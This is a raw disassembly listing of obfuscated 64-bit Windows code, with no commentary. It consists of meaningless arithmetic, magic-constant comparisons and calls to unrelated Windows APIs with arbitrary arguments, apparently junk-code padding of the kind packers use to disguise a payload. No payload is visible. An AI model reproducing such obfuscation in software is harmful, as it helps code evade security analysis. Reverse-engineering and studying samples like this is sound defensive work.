movabs rax, 0x790349ade25f26
mov rcx, qword [rsp + 0x49b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
movzx ecx, word [rsp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5dc], ax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0x505
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x1400020f6
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x40]
sub eax, 0x57
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x140002612
mov eax, dword [rsp + 0x23cc]
add eax, 0xba60
mov rcx, qword [rsp + 0x4980]
cmp eax, dword [rcx]
jbe 0x1400025fd
lea rcx, [rsp + 0x4980]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x4a08], rax
mov rax, qword [rsp + 0x4970]
mov qword [rsp + 0x4a10], rax
movabs rax, 0x70d067a35f5630
cmp qword [rsp + 0x4a10], rax
je 0x1400025c8
jmp 0x1400025de
movzx eax, word [0x140108f90]
add eax, 0x130
mov word [rsp + 0x5cc], ax
jmp 0x1400025fb
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x140002612
movsx eax, word [rsp + 0x5c4]
add eax, 0x2f9
mov word [rsp + 0x5c8], ax
movsx eax, byte [rsp + 0x40]
sub eax, 0x35
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
cmp eax, ecx
jl 0x140002789
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov qword [rsp + 0x4a18], rax
movabs rax, 0x7d5eb5aff50c9b
cmp qword [rsp + 0x4a18], rax
je 0x140002659
jmp 0x140002768
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
and eax, 0x6d
movsx ecx, byte [rsp + 0x40]
cmp eax, ecx
jge 0x140002726
mov eax, dword [rsp + 0x2410]
mov dword [rsp + 0x241c], eax
cmp dword [rsp + 0x241c], 0x13ff
je 0x140002691
jmp 0x140002707
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
sub eax, 0x6b1f
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
lea rdx, [rsp + 0x4970]
lea rcx, [rsp + 0x4a08]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x2420], eax
movabs rax, 0x7ab33d1782f661
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
jmp 0x140002724
lea rdx, [rsp + 0x14860]
lea rcx, [rsp + 0x49c8]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x2424], eax
jmp 0x140002766
imul eax, dword [rsp + 0x23cc], 0xd01b
mov rcx, qword [rsp + 0x4980]
cmp eax, dword [rcx]
ja 0x140002766
movzx eax, word [rsp + 0x5c8]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x49b8]
mov r8b, 0x30
mov dl, 9
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rax]
call fcn.1400db720
jmp 0x140002784
mov eax, dword [rsp + 0x2410]
mov ecx, dword [rsp + 0x23c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
jmp 0x1400db634
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov rcx, qword [rcx]
mov rdx, qword [section..data]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400db634
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x2428], al
cmp byte [rsp + 0x2428], 0x33
je 0x1400027db
jmp 0x1400028f1
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
add eax, 0xa7a7
cmp eax, dword [rsp + 0x23cc]
jae 0x1400028a0
mov rax, qword [rsp + 0x4978]
mov qword [rsp + 0x4a20], rax
movabs rax, 0x7e5d19daa52a1f
cmp qword [rsp + 0x4a20], rax
je 0x14000281d
jmp 0x14000286e
movsx eax, word [rsp + 0x5c8]
add eax, 0x714
mov word [rsp + 0x5c4], ax
movzx eax, word [0x140108f90]
add eax, 0x7fe
mov word [rsp + 0x5cc], ax
movsx eax, byte [rsp + 0x40]
xor eax, 0x25
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [0x140108f90]
or eax, 0x14d
mov word [rsp + 0x5cc], ax
jmp 0x14000289e
mov dword [rsp + 0x20], 2
mov r9d, 0x33
lea r8, [rsp + 0x1b5d0]
mov edx, 0x41
mov rcx, qword [rsp + 0x4a28]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x242c], eax
jmp 0x1400028ec
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5c8]
shl eax, cl
mov word [0x140108008], ax
lea rax, [rsp + 0x2410]
mov qword [rsp + 0x4a30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2430], eax
mov dword [rsp + 0x2434], 0x6722
mov dword [rsp + 0x2438], 0xadd5
jmp 0x14000297e
mov dword [rsp + 0x20], 0x66
mov r9d, ILGetNext
lea r8, [rsp + 0x1b890]
mov edx, 0xec
mov rcx, qword [rsp + 0x4a38]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x243c], eax
mov dword [rsp + 0x28], 0xe1
lea rax, [rsp + 0x4978]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x14860]
mov r8d, 0x45
mov edx, 0x26
mov rcx, qword [rsp + 0x4988]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x2440], eax
movzx r8d, byte [rsp + 0x40]
mov rax, qword [rsp + 0x4980]
mov edx, dword [rax]
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rax]
call fcn.1400dcc30
movsx eax, word [rsp + 0x5c4]
mov dword [rsp + 0x2444], eax
cmp dword [rsp + 0x2444], 0x28f2
je 0x14000299f
jmp 0x140002a58
movzx eax, word [rsp + 0x5cc]
sar eax, 0x91
movzx ecx, word [0x140108f90]
cmp eax, ecx
jl 0x140002a53
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5cc]
mov dword [rsp + 0x2448], eax
cmp dword [rsp + 0x2448], 0x3c3
je 0x1400029f4
jmp 0x140002a33
mov eax, dword [rsp + 0x23cc]
mov dword [rsp + 0x243c], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [section..data]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4970], rax
movsx eax, byte [rsp + 0x40]
sub eax, 0x48
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
jmp 0x140002a53
movabs rax, 0x719c92c70c26c6
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
jmp 0x140002b2f
mov eax, dword [rsp + 0x243c]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x242c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140002b12
movsx eax, byte [rsp + 0x40]
add eax, 0x6f
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
cmp eax, ecx
je 0x140002b12
lea r9, [rsp + 0x2410]
lea r8, [rsp + 0x49c8]
lea rdx, [rsp + 0x49b8]
lea rcx, [rsp + 0x49e0]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x2420], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
shl eax, cl
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [0x140108f90]
xor eax, 0x44
mov word [rsp + 0x5cc], ax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5c4]
sar eax, cl
mov word [0x140108008], ax
mov r8d, dword [rsp + 0x23c0]
movzx edx, byte [rsp + 0x40]
mov rax, qword [rsp + 0x49c8]
movzx ecx, byte [rax]
call fcn.1400dd070
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2410], eax
mov eax, dword [rsp + 0x242c]
mov ecx, dword [rsp + 0x23cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [section..data]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
movabs rax, 0x76a3f57bc0d403
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
movzx eax, word [0x140108f90]
sub eax, 0x97f
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
add eax, 0x65
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x243c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4970]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x242c], eax
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2410], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x49e0]
mov qword [rsp + 0x4a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a40]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x49b8]
shl rax, 0xe
mov qword [rsp + 0x49b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov dword [rsp + 0x20], 0x65a
mov r9d, 0x1b5
mov r8d, 0x14c4
mov edx, 0x2407
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x2408], eax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [0x140108008]
xor eax, ecx
mov word [rsp + 0x5c8], ax
movzx eax, word [0x140108f90]
or eax, 0xb1a
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
add eax, 0x1b
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x2438]
add eax, 0x77
mov dword [rsp + 0x2438], eax
movzx eax, word [rsp + 0x5cc]
add eax, 0xc3a
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2410], eax
movabs rax, 0x7a65c549ef4eac
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4970], rax
cmp dword [rsp + 0x2438], 0xd9fe
jne 0x140002b2f
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x242c]
mov edx, dword [rsp + 0x23cc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140002f42
movzx eax, word [rsp + 0x5cc]
sub eax, 0xd49
movzx ecx, word [0x140108f90]
cmp eax, ecx
jg 0x140002f35
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x244c], eax
cmp dword [rsp + 0x244c], 0x4b83
je 0x140002e52
jmp 0x140002e73
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x242c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
jmp 0x140002f35
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4978]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [section..data]
mov rdx, qword [rsp + 0x4970]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jb 0x140002eef
movabs rax, 0x795a42a8db2c72
cmp qword [rsp + 0x49b8], rax
jge 0x140002ec9
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
and eax, 0x1a
mov byte [rsp + 0x40], al
movzx eax, word [rsp + 0x5cc]
mov word [rsp + 0x5e0], ax
mov dword [rsp + 0x2450], 0xf637
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x41], al
jmp 0x140002f2a
lea rax, [rsp + 0x2440]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd3
mov r9d, 0xf5
mov r8d, 0xdd
mov edx, 0x65
mov rcx, qword [rsp + 0x4a48]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x2454], eax
mov dword [rsp + 0x2458], 0xdc01
mov dword [rsp + 0x245c], 0x95f
jmp 0x140002f9b
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5c4]
sub eax, ecx
movsx ecx, word [0x140108008]
cmp eax, ecx
jle 0x140002f9b
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2410]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4970]
mov rax, qword [rax]
sub rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x243c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x4970]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x23c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2410], eax
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [0x140108008]
xor eax, ecx
mov word [rsp + 0x5c4], ax
movsx eax, word [0x140108008]
movsx ecx, word [rsp + 0x5c4]
sar eax, cl
mov word [rsp + 0x5c8], ax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5cc]
shl eax, cl
mov word [0x140108f90], ax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x2454]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x242c], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x243c]
mov ecx, dword [rsp + 0x2454]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [0x140108008]
add eax, ecx
mov word [rsp + 0x5c8], ax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [0x140108f90]
sub eax, ecx
mov word [rsp + 0x5e0], ax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [0x140108008]
sub eax, ecx
mov word [rsp + 0x5c4], ax
mov eax, dword [rsp + 0x23cc]
mov ecx, dword [rsp + 0x2454]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movabs rax, 0x7433431404c166
mov rcx, qword [rsp + 0x49b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2410]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c0], eax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [rsp + 0x49e0]
mov qword [rsp + 0x4a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x2454], eax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x40], al
lea rdx, [rsp + 0x13180]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x23f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x23f8], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
xor eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x10a2
mov r9d, 0x1774
mov r8d, 0x9b
mov edx, 0x1147
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x23ec], eax
mov eax, dword [rsp + 0x2454]
movzx ecx, al
mov eax, dword [rsp + 0x242c]
shr eax, cl
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23e8]
sub eax, 0x42
mov dword [rsp + 0x23e8], eax
mov eax, dword [rsp + 0x243c]
mov ecx, dword [rsp + 0x242c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [rsp + 0x5e0]
add eax, ecx
mov word [0x140108f90], ax
movabs rax, 0x7361f7ec493b2d
mov rcx, qword [rsp + 0x49b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov dword [rsp + 0x243c], eax
mov rax, qword [rsp + 0x4978]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a30]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x5d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x5e4], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov byte [rsp + 0x41], al
cmp dword [rsp + 0x23e8], 0x1dab
ja 0x140002f9b
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x4a58], rax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov qword [rsp + 0x4a60], rax
cmp qword [rsp + 0x4a60], 0
je 0x14000350c
movabs rax, 0x736fcd51e076c1
cmp qword [rsp + 0x4a60], rax
je 0x1400033f9
jmp 0x14000354e
mov rax, qword [rsp + 0x4978]
mov qword [rsp + 0x4a68], rax
movabs rax, 0x724eb261e8fdc8
cmp qword [rsp + 0x4a68], rax
je 0x14000343a
movabs rax, 0x72d206b5fbec05
cmp qword [rsp + 0x4a68], rax
je 0x1400034ea
jmp 0x14000350a
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x5e0]
movzx edx, word [0x140108f90]
sub ecx, edx
cmp eax, ecx
jg 0x1400034b8
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [0x140108008]
add eax, ecx
mov word [rsp + 0x5c8], ax
lea rdx, [rsp + 0x49b8]
mov rcx, qword [rsp + 0x4a70]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x2420], eax
jmp 0x1400034e8
movabs rax, 0x71b07e65422fbf
cmp qword [rsp + 0x49b8], rax
jl 0x1400034e8
movzx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140108f90], ax
jmp 0x14000350a
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
xor eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
jmp 0x14000354e
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4a78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x23c0]
mov qword [rsp + 0x4a80], rax
lea rax, [rsp + 0x4978]
mov qword [rsp + 0x4a88], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x242c], eax
mov dword [rsp + 0x2460], 0xdcec
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov word [rsp + 0x5e8], ax
mov dword [rsp + 0x2464], 0x2b7e
movsx eax, word [rsp + 0x5c4]
mov dword [rsp + 0x2468], eax
cmp dword [rsp + 0x2468], 0x4ce
je 0x1400db536
cmp dword [rsp + 0x2468], 0x28f2
je 0x1400035c5
jmp 0x1400db571
mov rax, qword [rsp + 0x4a80]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x23c0]
mov edx, dword [rsp + 0x2410]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x1400db440
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
movsx ecx, byte [rsp + 0x41]
cmp eax, ecx
jl 0x1400db3fb
lea rax, [rsp + 0x5cc]
mov qword [0x140108f98], rax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x5ec], ax
mov rax, qword [rsp + 0x49e0]
mov rax, qword [rax]
mov qword [rsp + 0x4a90], rax
cmp dword [rsp + 0x23c4], 0xb073
ja 0x1400037e5
movabs rax, 0x7b16bb20330f08
mov rcx, qword [rsp + 0x49b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2410]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c0], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x243c], eax
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2410], eax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4a90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
lea rcx, [rsp + 0x12240]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
and eax, ecx
mov word [0x140108f90], ax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5e0]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4970]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x23c4]
add eax, 0xb2
mov dword [rsp + 0x23c4], eax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x23c0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov edx, 0x4b26f7
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x246c], eax
movabs rax, 0x77ebd1e1a865a8
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
jmp 0x140003646
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x5cc]
sar eax, cl
mov dword [rsp + 0x2470], eax
movzx ecx, word [rsp + 0x5e0]
mov rdx, qword [rsp + 0x4a58]
movzx edx, word [rdx]
mov dword [rsp + 0x2474], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x2474]
idiv ecx
mov ecx, dword [rsp + 0x2470]
cmp ecx, eax
jge 0x1400db39b
cmp dword [rsp + 0x23d0], 0x352c
jbe 0x1400039b4
mov eax, dword [rsp + 0x23cc]
mov rcx, qword [rsp + 0x4980]
mov qword [rsp + 0x4a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
or eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5e0], ax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x41]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5c8]
sub eax, ecx
mov word [0x140108008], ax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov dword [rsp + 0x14e50], 0x11c
mov eax, dword [rsp + 0x23d0]
sub eax, 0xd1
mov dword [rsp + 0x23d0], eax
lea rcx, str.tricolours_informative
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5e4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4970], rax
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
